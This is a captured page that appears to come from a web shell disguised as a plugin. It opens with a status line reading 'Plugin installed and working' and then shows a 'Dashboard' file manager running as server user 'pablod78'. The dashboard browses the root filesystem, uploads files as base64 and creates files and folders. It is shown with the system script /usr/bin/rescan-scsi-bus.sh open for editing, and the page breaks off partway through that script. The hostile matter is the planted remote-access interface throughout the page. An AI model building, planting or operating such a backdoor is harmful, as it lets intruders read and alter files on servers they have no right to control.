{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 19:27:23"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fbin">bin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: rescan-scsi-bus.sh</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/bin/rescan-scsi-bus.sh">
                    <textarea name="edit_content">#!/usr/bin/bash
# Script to rescan SCSI bus, using the scsi add-single-device mechanism.
# (c) 1998--2010 Kurt Garloff &lt;kurt@garloff.de&gt;, GNU GPL v2 or v3
# (c) 2006--2018 Hannes Reinecke, GNU GPL v2 or later
# $Id: rescan-scsi-bus.sh,v 1.57 2012/03/31 14:08:48 garloff Exp $

VERSION=&quot;20180615&quot;
SCAN_WILD_CARD=4294967295

setcolor ()
{
  red=&quot;\e[0;31m&quot;
  green=&quot;\e[0;32m&quot;
  yellow=&quot;\e[0;33m&quot;
  bold=&quot;\e[0;1m&quot;
  norm=&quot;\e[0;0m&quot;
}

unsetcolor ()
{
  red=&quot;&quot;; green=&quot;&quot;
  yellow=&quot;&quot;; norm=&quot;&quot;
}

echo_debug()
{
  if [ &quot;$debug&quot; -eq 1 ] ; then
     echo &quot;$1&quot;
  fi
}

# Output some text and return cursor to previous position
# (only works for simple strings)
# Stores length of string in LN and returns it
print_and_scroll_back ()
{
  STRG=&quot;$1&quot;
  LN=${#STRG}
  BK=&quot;&quot;
  declare -i cntr=0
  while [ $cntr -lt &quot;$LN&quot; ] ; do BK=&quot;$BK\e[D&quot;; let cntr+=1; done
  echo -en &quot;$STRG$BK&quot;
  return &quot;$LN&quot;
}

# Overwrite a text of length $LN with whitespace
white_out ()
{
  BK=&quot;&quot;; WH=&quot;&quot;
  declare -i cntr=0
  while [ $cntr -lt &quot;$LN&quot; ] ; do BK=&quot;$BK\e[D&quot;; WH=&quot;$WH &quot;; let cntr+=1; done
  echo -en &quot;$WH$BK&quot;
}

# Return hosts. sysfs must be mounted
findhosts_26 ()
{
  hosts=
  for hostdir in /sys/class/scsi_host/host* ; do
    [ -e &quot;$hostdir&quot; ] || continue
    hostno=${hostdir#/sys/class/scsi_host/host}
    if [ -f &quot;$hostdir/isp_name&quot; ] ; then
      hostname=&quot;qla2xxx&quot;
    elif [ -f &quot;$hostdir/lpfc_drvr_version&quot; ] ; then
      hostname=&quot;lpfc&quot;
    else
      hostname=$(cat &quot;$hostdir/proc_name&quot;)
    fi
    hosts=&quot;$hosts $hostno&quot;
    echo_debug &quot;Host adapter $hostno ($hostname) found.&quot;
  done
  if [ -z &quot;$hosts&quot; ] ; then
    echo &quot;No SCSI host adapters found in sysfs&quot;
    exit 1;
  fi
  # Not necessary just use double quotes around variable to preserve new lines
  #hosts=$(echo $hosts | tr &#039; &#039; &#039;\n&#039;)
}

# Return hosts. /proc/scsi/HOSTADAPTER/? must exist
findhosts ()
{
  hosts=
  for driverdir in /proc/scsi/*; do
    driver=${driverdir#/proc/scsi/}
    if [ &quot;$driver&quot; = scsi ] || [ &quot;$driver&quot; = sg ] || [ &quot;$driver&quot; = dummy ] || [ &quot;$driver&quot; = device_info  ] ; then continue; fi
    for hostdir in $driverdir/*; do
      name=${hostdir#/proc/scsi/*/}
      if [ &quot;$name&quot; = add_map ] || [ &quot;$name&quot; = map ]  || [ &quot;$name&quot; = mod_parm ] ; then continue; fi
      num=$name
      driverinfo=$driver
      if [ -r &quot;$hostdir/status&quot; ] ; then
        num=$(printf &#039;%d\n&#039; &quot;$(sed -n &#039;s/SCSI host number://p&#039; &quot;$hostdir/status&quot;)&quot;)
        driverinfo=&quot;$driver:$name&quot;
      fi
      hosts=&quot;$hosts $num&quot;
      echo &quot;Host adapter $num ($driverinfo) found.&quot;
    done
  done
}

printtype ()
{
  local type=$1

  case &quot;$type&quot; in
    0) echo &quot;Direct-Access&quot; ;;
    1) echo &quot;Sequential-Access&quot; ;;
    2) echo &quot;Printer&quot; ;;
    3) echo &quot;Processor&quot; ;;
    4) echo &quot;WORM&quot; ;;
    5) echo &quot;CD-ROM&quot; ;;
    6) echo &quot;Scanner&quot; ;;
    7) echo &quot;Optical-Device&quot; ;;
    8) echo &quot;Medium-Changer&quot; ;;
    9) echo &quot;Communications&quot; ;;
    10) echo &quot;Unknown&quot; ;;
    11) echo &quot;Unknown&quot; ;;
    12) echo &quot;RAID&quot; ;;
    13) echo &quot;Enclosure&quot; ;;
    14) echo &quot;Direct-Access-RBC&quot; ;;
    *) echo &quot;Unknown&quot; ;;
  esac
}

print02i()
{
    if [ &quot;$1&quot; = &quot;*&quot; ] ; then
        echo &quot;00&quot;
    else
        printf &quot;%02i&quot; &quot;$1&quot;
    fi
}

# Get /proc/scsi/scsi info for device $host:$channel:$id:$lun
# Optional parameter: Number of lines after first (default = 2),
# result in SCSISTR, return code 1 means empty.
procscsiscsi ()
{
  if [ -z &quot;$1&quot; ] ; then
    LN=2
  else
    LN=$1
  fi
  CHANNEL=$(print02i &quot;$channel&quot;)
  ID=$(print02i &quot;$id&quot;)
  LUN=$(print02i &quot;$lun&quot;)
  if [ -d /sys/class/scsi_device ]; then
    SCSIPATH=&quot;/sys/class/scsi_device/${host}:${channel}:${id}:${lun}&quot;
    if [ -d  &quot;$SCSIPATH&quot; ] ; then
      SCSISTR=&quot;Host: scsi${host} Channel: $CHANNEL Id: $ID Lun: $LUN&quot;
      if [ &quot;$LN&quot; -gt 0 ] ; then
        IVEND=$(cat &quot;${SCSIPATH}/device/vendor&quot;)
        IPROD=$(cat &quot;${SCSIPATH}/device/model&quot;)
        IPREV=$(cat &quot;${SCSIPATH}/device/rev&quot;)
        SCSIDEV=$(printf &#039;  Vendor: %-08s Model: %-16s Rev: %-4s&#039; &quot;$IVEND&quot; &quot;$IPROD&quot; &quot;$IPREV&quot;)
        SCSISTR=&quot;$SCSISTR
$SCSIDEV&quot;
      fi
      if [ &quot;$LN&quot; -gt 1 ] ; then
        ILVL=$(cat &quot;${SCSIPATH}/device/scsi_level&quot;)
        type=$(cat &quot;${SCSIPATH}/device/type&quot;)
        ITYPE=$(printtype &quot;$type&quot;)
        SCSITMP=$(printf &#039;  Type:   %-17s                ANSI SCSI revision: %02d&#039; &quot;$ITYPE&quot; &quot;$((ILVL - 1))&quot;)
        SCSISTR=&quot;$SCSISTR
$SCSITMP&quot;
      fi
    else
      return 1
    fi
  else
    grepstr=&quot;scsi$host Channel: $CHANNEL Id: $ID Lun: $LUN&quot;
    SCSISTR=$(grep -A &quot;$LN&quot; -e &quot;$grepstr&quot; /proc/scsi/scsi)
  fi
  if [ -z &quot;$SCSISTR&quot; ] ; then
    return 1
  else
    return 0
  fi
}

# Find sg device with 2.6 sysfs support
sgdevice26 ()
{
  local gendev

  gendev=/sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device/generic
  if [ -e &quot;$gendev&quot; ] ; then
    SGDEV=$(basename &quot;$(readlink &quot;$gendev&quot;)&quot;)
  else
    for SGDEV in /sys/class/scsi_generic/sg*; do
      DEV=$(readlink &quot;$SGDEV/device&quot;)
      if [ &quot;${DEV##*/}&quot; = &quot;$host:$channel:$id:$lun&quot; ] ; then
        SGDEV=$(basename &quot;$SGDEV&quot;); return
      fi
    done
    SGDEV=&quot;&quot;
  fi
}

# Find sg device with 2.4 report-devs extensions
sgdevice24 ()
{
  if procscsiscsi 3; then
    SGDEV=$(echo &quot;$SCSISTR&quot; | grep &#039;Attached drivers:&#039; | sed &#039;s/^ *Attached drivers: \(sg[0-9]*\).*/\1/&#039;)
  fi
}

# Find sg device that belongs to SCSI device $host $channel $id $lun
# and return in SGDEV
sgdevice ()
{
  SGDEV=
  if [ -d /sys/class/scsi_device ] ; then
    sgdevice26
  else
    DRV=$(grep &#039;Attached drivers:&#039; /proc/scsi/scsi 2&gt;/dev/null)
    repdevstat=$((1-$?))
    if [ $repdevstat = 0 ]; then
      echo &quot;scsi report-devs 1&quot; &gt;/proc/scsi/scsi
      DRV=$(grep &#039;Attached drivers:&#039; /proc/scsi/scsi 2&gt;/dev/null)
      [ $? -eq 1 ] &amp;&amp; return
    fi
    if ! echo &quot;$DRV&quot; | grep -q &#039;drivers: sg&#039;; then
      modprobe sg
    fi
    sgdevice24
    if [ $repdevstat = 0 ]; then
      echo &quot;scsi report-devs 0&quot; &gt;/proc/scsi/scsi
    fi
  fi
}

# Whether or not the RMB (removable) bit has been set in the INQUIRY response.
# Uses ${host}, ${channel}, ${id} and ${lun}. Assumes that sg_device() has
# already been called. How to test this function: copy/paste this function
# in a shell and run
# (cd /sys/class/scsi_device &amp;&amp; for d in *; do set ${d//:/ }; echo -n &quot;$d $(&lt;/sys/class/scsi_device/${d}/device/block/*/removable) &lt;&gt; &quot;; SGDEV=bsg/$d host=$1 channel=$2 id=$3 lun=$4 is_removable; done)
is_removable ()
{
  local b p

  p=/sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device/inquiry
  # Extract the second byte of the INQUIRY response and check bit 7 (mask 0x80).
  b=$(hexdump -n1 -e &#039;/1 &quot;%02X&quot;&#039; &quot;$p&quot; 2&gt;/dev/null)
  if [ -n &quot;$b&quot; ]; then
    echo $(((0x$b &amp; 0x80) != 0))
  else
    sg_inq /dev/$SGDEV 2&gt;/dev/null | sed -n &#039;s/^.*RMB=\([0-9]*\).*$/\1/p&#039;
  fi
}

# Test if SCSI device is still responding to commands
# Return values:
#   0 device is present
#   1 device has changed
#   2 device has been removed
testonline ()
{
  local ctr RC RMB

  : testonline
  ctr=0
  RC=0
  # Set default values
  IPTYPE=31
  IPQUAL=3
  [ ! -x /usr/bin/sg_turs ] &amp;&amp; return 0
  sgdevice
  [ -z &quot;$SGDEV&quot; ] &amp;&amp; return 0
  sg_turs /dev/$SGDEV &gt;/dev/null 2&gt;&amp;1
  RC=$?

  # Handle in progress of becoming ready and unit attention
  while [ $RC = 2 -o $RC = 6 ] &amp;&amp; [ $ctr -le 30 ] ; do
    if [ $RC = 2 ] &amp;&amp; [ &quot;$RMB&quot; != &quot;1&quot; ] ; then
      echo -n &quot;.&quot;
      let LN+=1
      sleep 1
    else
      sleep 0.02
    fi
    let ctr+=1
    sg_turs /dev/$SGDEV &gt;/dev/null 2&gt;&amp;1
    RC=$?
    # Check for removable device; TEST UNIT READY obviously will
    # fail for a removable device with no medium
    RMB=$(is_removable)
    print_and_scroll_back &quot;$host:$channel:$id:$lun $SGDEV ($RMB) &quot;
    [ $RC = 2 ] &amp;&amp; [ &quot;$RMB&quot; = &quot;1&quot; ] &amp;&amp; break
  done
  if [ $ctr != 0 ] ; then
    white_out
  fi
  # echo -e &quot;\e[A\e[A\e[A${yellow}Test existence of $SGDEV = $RC ${norm} \n\n\n&quot;
  [ $RC = 1 ] &amp;&amp; return $RC
  # Reset RC (might be !=0 for passive paths)
  RC=0
  # OK, device online, compare INQUIRY string
  INQ=$(sg_inq &quot;$sg_len_arg&quot; /dev/$SGDEV 2&gt;/dev/null)
  if [ -z &quot;$INQ&quot; ] ; then
    echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}INQUIRY failed${norm}    \n\n\n&quot;
    return 2
  fi
  IVEND=$(echo &quot;$INQ&quot; | grep &#039;Vendor identification:&#039; | sed &#039;s/^[^:]*: \(.*\)$/\1/&#039;)
  IPROD=$(echo &quot;$INQ&quot; | grep &#039;Product identification:&#039; | sed &#039;s/^[^:]*: \(.*\)$/\1/&#039;)
  IPREV=$(echo &quot;$INQ&quot; | grep &#039;Product revision level:&#039; | sed &#039;s/^[^:]*: \(.*\)$/\1/&#039;)
  STR=$(printf &quot;  Vendor: %-08s Model: %-16s Rev: %-4s&quot; &quot;$IVEND&quot; &quot;$IPROD&quot; &quot;$IPREV&quot;)
  IPTYPE=$(echo &quot;$INQ&quot; | sed -n &#039;s/.* Device_type=\([0-9]*\) .*/\1/p&#039;)
  if [ -z &quot;$IPTYPE&quot; ]; then
    IPTYPE=$(echo &quot;$INQ&quot; | sed -n &#039;s/.* PDT=\([0-9]*\) .*/\1/p&#039;)
  fi
  IPQUAL=$(echo &quot;$INQ&quot; | sed -n &#039;s/ *PQual=\([0-9]*\)  Device.*/\1/p&#039;)
  if [ -z &quot;$IPQUAL&quot; ] ; then
    IPQUAL=$(echo &quot;$INQ&quot; | sed -n &#039;s/ *PQual=\([0-9]*\)  PDT.*/\1/p&#039;)
  fi
  if [ &quot;$IPQUAL&quot; != 0 ] ; then
    [ -z &quot;$IPQUAL&quot; ] &amp;&amp; IPQUAL=3
    [ -z &quot;$IPTYPE&quot; ] &amp;&amp; IPTYPE=31
    echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}LU not available (PQual $IPQUAL)${norm}    \n\n\n&quot;
    return 2
  fi

  TYPE=$(printtype $IPTYPE)
  if ! procscsiscsi ; then
    echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV removed.\n\n\n&quot;
    return 2
  fi
  TMPSTR=$(echo &quot;$SCSISTR&quot; | grep &#039;Vendor:&#039;)
  if [ &quot;$ignore_rev&quot; -eq 0 ] ; then
      if [ &quot;$TMPSTR&quot; != &quot;$STR&quot; ]; then
        echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${SCSISTR#* } \nto: $STR ${norm} \n\n\n&quot;
        return 1
      fi
  else
      # Ignore disk revision change
      local old_str_no_rev=
      local new_str_no_rev=

      old_str_no_rev=${TMPSTR%Rev:*}
      new_str_no_rev=${STR%Rev:*}
      if [ &quot;$old_str_no_rev&quot; != &quot;$new_str_no_rev&quot; ]; then
        echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${SCSISTR#* } \nto: $STR ${norm} \n\n\n&quot;
        return 1
      fi
  fi
  TMPSTR=$(echo &quot;$SCSISTR&quot; | sed -n &#039;s/.*Type: *\(.*\) *ANSI.*/\1/p&#039; | sed &#039;s/ *$//g&#039;)
  if [ &quot;$TMPSTR&quot; != &quot;$TYPE&quot; ] ; then
    echo -e &quot;\e[A\e[A\e[A\e[A${red}$SGDEV changed: ${bold}\nfrom:${TMPSTR} \nto: $TYPE ${norm} \n\n\n&quot;
    return 1
  fi
  return $RC
}

# Test if SCSI device $host $channel $id $lun exists
# Outputs description from /proc/scsi/scsi (unless arg passed)
# Returns SCSISTR (empty if no dev)
testexist ()
{
  : testexist
  SCSISTR=
  if procscsiscsi &amp;&amp; [ -z &quot;$1&quot; ] ; then
    echo &quot;$SCSISTR&quot; | head -n1
    echo &quot;$SCSISTR&quot; | tail -n2 | pr -o4 -l1
  fi
}

# Returns the list of existing channels per host
chanlist ()
{
  local hcil
  local cil
  local chan
  local tmpchan

  for dev in /sys/class/scsi_device/${host}:* ; do
    [ -d &quot;$dev&quot; ] || continue;
    hcil=${dev##*/}
    cil=${hcil#*:}
    chan=${cil%%:*}
    for tmpchan in $channelsearch ; do
      if [ &quot;$chan&quot; -eq &quot;$tmpchan&quot; ] ; then
        chan=
      fi
    done
    if [ -n &quot;$chan&quot; ] ; then
      channelsearch=&quot;$channelsearch $chan&quot;
    fi
  done
  if [ -z &quot;$channelsearch&quot; ] ; then
    channelsearch=&quot;0&quot;
  fi
}

# Returns the list of existing targets per host
idlist ()
{
  local tmpid
  local newid
  local oldid

  oldlist=$(find /sys/class/scsi_device -name &quot;${host}:${channel}:*&quot; -printf &quot;%f\n&quot;)
  # Rescan LUN 0 to check if we found new targets
  echo &quot;${channel} - -&quot; &gt; &quot;/sys/class/scsi_host/host${host}/scan&quot;
  newlist=$(find /sys/class/scsi_device -name &quot;${host}:${channel}:*&quot; -printf &quot;%f\n&quot;)
  for newid in $newlist ; do
    oldid=$newid
    for tmpid in $oldlist ; do
      if [ &quot;$newid&quot; = &quot;$tmpid&quot; ] ; then
        oldid=
        break
      fi
    done
    if [ -n &quot;$oldid&quot; ] ; then
      if [ -d /sys/class/scsi_device/$oldid ] ; then
	hcil=${oldid}
        printf &quot;\r${green}NEW: %s&quot; &quot;$norm&quot;
        testexist
        if [ &quot;$SCSISTR&quot; ] ; then
          incrfound &quot;$hcil&quot;
        fi
      fi
    fi
  done
  idsearch=$(find /sys/bus/scsi/devices -name &quot;target${host}:${channel}:*&quot; -printf &quot;%f\n&quot; | cut -f 3 -d :)
}

# Returns the list of existing LUNs from device $host $channel $id $lun
# and returns list to stdout
getluns()
{
  sgdevice
  [ -z &quot;$SGDEV&quot; ] &amp;&amp; return 1
  if [ ! -x /usr/bin/sg_luns ] ; then
    echo 0
    return 1
  fi
  LLUN=$(sg_luns /dev/$SGDEV 2&gt;/dev/null | sed -n &#039;s/    \(.*\)/\1/p&#039;)
  # Added -z $LLUN condition because $? gets the RC from sed, not sg_luns
  if [ $? -ne 0 ] || [ -z &quot;$LLUN&quot; ] ; then
    echo 0
    return 1
  fi
  for lun in $LLUN ; do
      # Swap LUN number
      l0=0x$lun
      l1=$(( (l0 &gt;&gt; 48) &amp; 0xffff ))
      l2=$(( (l0 &gt;&gt; 32) &amp; 0xffff ))
      l3=$(( (l0 &gt;&gt; 16) &amp; 0xffff ))
      l4=$(( l0 &amp; 0xffff ))
      l0=$(( ( ( (l4 * 0xffff) + l3 ) * 0xffff + l2 ) * 0xffff + l1 ))
      printf &quot;%u\n&quot; $l0
  done
  return 0
}

# Wait for udev to settle (create device nodes etc.)
udevadm_settle()
{
  local tmo=60
  if [ -x /sbin/udevadm ] ; then
    print_and_scroll_back &quot; Calling udevadm settle (can take a while) &quot;
    # Loop for up to 60 seconds if sd devices still are settling..
    # This allows us to continue if udev events are stuck on multipaths in recovery mode
    while [ $tmo -gt 0 ] ; do
      if ! /sbin/udevadm settle --timeout=1 | egrep -q sd[a-z]+ ; then
        break;
      fi
      let tmo=$tmo-1
    done
    white_out
  elif [ -x /sbin/udevsettle ] ; then
    print_and_scroll_back &quot; Calling udevsettle (can take a while) &quot;
    /sbin/udevsettle
    white_out
  else
    sleep 0.02
  fi
}

# Perform scan on a single lun $host $channel $id $lun
dolunscan()
{
  local remappedlun0=
  local devpath
  SCSISTR=
  devnr=&quot;$host $channel $id $lun&quot;
  echo -e &quot; Scanning for device $devnr ... &quot;
  printf &quot;${yellow}OLD: %s&quot; &quot;$norm&quot;
  testexist
  # Device exists: Test whether it&#039;s still online
  # (testonline returns 2 if it&#039;s gone and 1 if it has changed)
  devpath=&quot;/sys/class/scsi_device/${host}:${channel}:${id}:${lun}/device&quot;
  if [ &quot;$SCSISTR&quot; ] ; then
    testonline
    RC=$?
    # Well known lun transition case. Only for Direct-Access devs (type 0)
    # If block directory exists &amp;&amp; and PQUAL != 0, we unmapped lun0 and just have a well-known lun
    # If block directory doesn&#039;t exist &amp;&amp; PQUAL == 0, we mapped a real lun0
    if [ &quot;$lun&quot; -eq 0 ] &amp;&amp; [ $IPTYPE -eq 0 ] ; then
      if [ $RC = 2 ] ; then
        if [ -e &quot;$devpath&quot; ] ; then
          if [ -d &quot;$devpath/block&quot; ] ; then
            remappedlun0=2  # Transition from real lun 0 to well-known
          else
            RC=0   # Set this so the system leaves the existing well known lun alone. This is a lun 0 with no block directory
          fi
        fi
      elif [ $RC = 0 ] &amp;&amp; [ $IPTYPE -eq 0 ] ; then
        if [ -e &quot;$devpath&quot; ] ; then
          if [ ! -d &quot;$devpath/block&quot; ] ; then
            remappedlun0=1  # Transition from well-known to real lun 0
          fi
        fi
      fi
    fi
  fi

  # Special case: lun 0 just got added (for reportlunscan),
  # so make sure we correctly treat it as new
  if [ &quot;$lun&quot; = &quot;0&quot; ] &amp;&amp; [ &quot;$1&quot; = &quot;1&quot; ] &amp;&amp; [ -z &quot;$remappedlun0&quot; ] ; then
    SCSISTR=&quot;&quot;
    printf &quot;\r\e[A\e[A\e[A&quot;
  fi

  : f &quot;$remove&quot; s $SCSISTR
  if [ &quot;$remove&quot; ] &amp;&amp; [ &quot;$SCSISTR&quot; -o &quot;$remappedlun0&quot; = &quot;1&quot; ] ; then
    if [ $RC != 0 ] || [ ! -z &quot;$forceremove&quot; ] || [ -n &quot;$remappedlun0&quot; ] ; then
      if [ &quot;$remappedlun0&quot; != &quot;1&quot; ] ; then
        echo -en &quot;\r\e[A\e[A\e[A${red}REM: &quot;
        echo &quot;$SCSISTR&quot; | head -n1
        echo -e &quot;${norm}\e[B\e[B&quot;
      fi
      if [ -e &quot;$devpath&quot; ] ; then
        # have to preemptively do this so we can figure out the mpath device
        # Don&#039;t do this if we&#039;re deleting a well known lun to replace it
        if [ &quot;$remappedlun0&quot; != &quot;1&quot; ] ; then
          incrrmvd &quot;$host:$channel:$id:$lun&quot;
        fi
        echo 1 &gt; &quot;$devpath/delete&quot;
        sleep 0.02
      else
        echo &quot;scsi remove-single-device $devnr&quot; &gt; /proc/scsi/scsi
        if [ $RC -eq 1 ] || [ &quot;$lun&quot; -eq 0 ] ; then
          # Try readding, should fail if device is gone
          echo &quot;scsi add-single-device $devnr&quot; &gt; /proc/scsi/scsi
        fi
      fi
    fi
    if [ $RC = 0 ] || [ &quot;$forcerescan&quot; ] ; then
      if [ -e &quot;$devpath&quot; ] ; then
        echo 1 &gt; &quot;$devpath/rescan&quot;
      fi
    fi
    printf &quot;\r\e[A\e[A\e[A${yellow}OLD: %s&quot; &quot;$norm&quot;
    testexist
    if [ -z &quot;$SCSISTR&quot; ] &amp;&amp; [ $RC != 1 ] &amp;&amp; [ &quot;$remappedlun0&quot; != &quot;1&quot; ] ; then
      printf &quot;\r${red}DEL: %s\r\n\n&quot; &quot;$norm&quot;
      # In the event we&#039;re replacing with a well known node, we need to let it continue, to create the replacement node
      [ &quot;$remappedlun0&quot; != &quot;2&quot; ] &amp;&amp; return 2
    fi
  fi
  if [ -z &quot;$SCSISTR&quot; ] || [ -n &quot;$remappedlun0&quot; ] ; then
    if [ &quot;$remappedlun0&quot; != &quot;2&quot; ] ; then
      # Device does not exist, try to add
      printf &quot;\r${green}NEW: %s&quot; &quot;$norm&quot;
    fi
    if [ -e &quot;/sys/class/scsi_host/host${host}/scan&quot; ] ; then
      echo &quot;$channel $id $lun&quot; &gt; &quot;/sys/class/scsi_host/host${host}/scan&quot; 2&gt; /dev/null
    else
      echo &quot;scsi add-single-device $devnr&quot; &gt; /proc/scsi/scsi
    fi
    testexist
    if [ -z &quot;$SCSISTR&quot; ] ; then
      # Device not present
      printf &quot;\r\e[A&quot;;
      # Optimization: if lun==0, stop here (only if in non-remove mode)
      if [ &quot;$lun&quot; = 0 ] &amp;&amp; [ -z &quot;$remove&quot; ] &amp;&amp; [ &quot;$optscan&quot; = 1 ] ; then
        return 1;
      fi
    else
      if [ &quot;$remappedlun0&quot; != &quot;2&quot; ] ; then
        incrfound &quot;$host:$channel:$id:$lun&quot;
      fi
    fi
  fi
  return 0;
}

# Perform report lun scan on $host $channel $id using REPORT_LUNS
doreportlun()
{
  lun=0
  SCSISTR=
  devnr=&quot;$host $channel $id $lun&quot;
  echo -en &quot; Scanning for device $devnr ...\r&quot;
  lun0added=
  #printf &quot;${yellow}OLD: %s&quot; &quot;$norm&quot;
  # Phase one: If LUN0 does not exist, try to add
  testexist -q
  if [ -z &quot;$SCSISTR&quot; ] ; then
    # Device does not exist, try to add
    #printf &quot;\r${green}NEW: %s&quot; &quot;$norm&quot;
    if [ -e &quot;/sys/class/scsi_host/host${host}/scan&quot; ] ; then
      echo &quot;$channel $id $lun&quot; &gt; &quot;/sys/class/scsi_host/host${host}/scan&quot; 2&gt; /dev/null
      udevadm_settle
    else
      echo &quot;scsi add-single-device $devnr&quot; &gt; /proc/scsi/scsi
    fi
    testexist -q
    if [ -n &quot;$SCSISTR&quot; ] ; then
      lun0added=1
      #testonline
    else
      # Device not present
      # return
      # Find alternative LUN to send getluns to
      for dev in /sys/class/scsi_device/${host}:${channel}:${id}:*; do
        [ -d &quot;$dev&quot; ] || continue
        lun=${dev##*:}
        break
      done
    fi
  fi
  targetluns=$(getluns)
  REPLUNSTAT=$?
  lunremove=
  #echo &quot;getluns reports &quot; $targetluns
  olddev=$(find /sys/class/scsi_device/ -name &quot;$host:$channel:$id:*&quot; 2&gt;/dev/null | sort -t: -k4 -n)
  oldtargets=&quot;$targetluns&quot;
  # OK -- if we don&#039;t have a LUN to send a REPORT_LUNS to, we could
  # fall back to wildcard scanning. Same thing if the device does not
  # support REPORT_LUNS
  # TODO: We might be better off to ALWAYS use wildcard scanning if
  # it works
  if [ &quot;$REPLUNSTAT&quot; = &quot;1&quot; ] ; then
    if [ -e &quot;/sys/class/scsi_host/host${host}/scan&quot; ] ; then
      echo &quot;$channel $id -&quot; &gt; &quot;/sys/class/scsi_host/host${host}/scan&quot; 2&gt; /dev/null
      udevadm_settle
    else
      echo &quot;scsi add-single-device $host $channel $id $SCAN_WILD_CARD&quot; &gt; /proc/scsi/scsi
    fi
    targetluns=$(find /sys/class/scsi_device/ -name &quot;$host:$channel:$id:*&quot; -printf &quot;%f\n&quot; | cut -d : -f 4)
    let found+=$(echo &quot;$targetluns&quot; | wc -l)
    let found-=$(echo &quot;$olddev&quot; | wc -l)
  fi
  [ -z &quot;$targetluns&quot; ] &amp;&amp; targetluns=&quot;$oldtargets&quot;
  # Check existing luns
  for dev in $olddev; do
    [ -d &quot;$dev&quot; ] || continue
    lun=${dev##*:}
    newsearch=
    inlist=
    # OK, is existing $lun (still) in reported list
    for tmplun in $targetluns; do
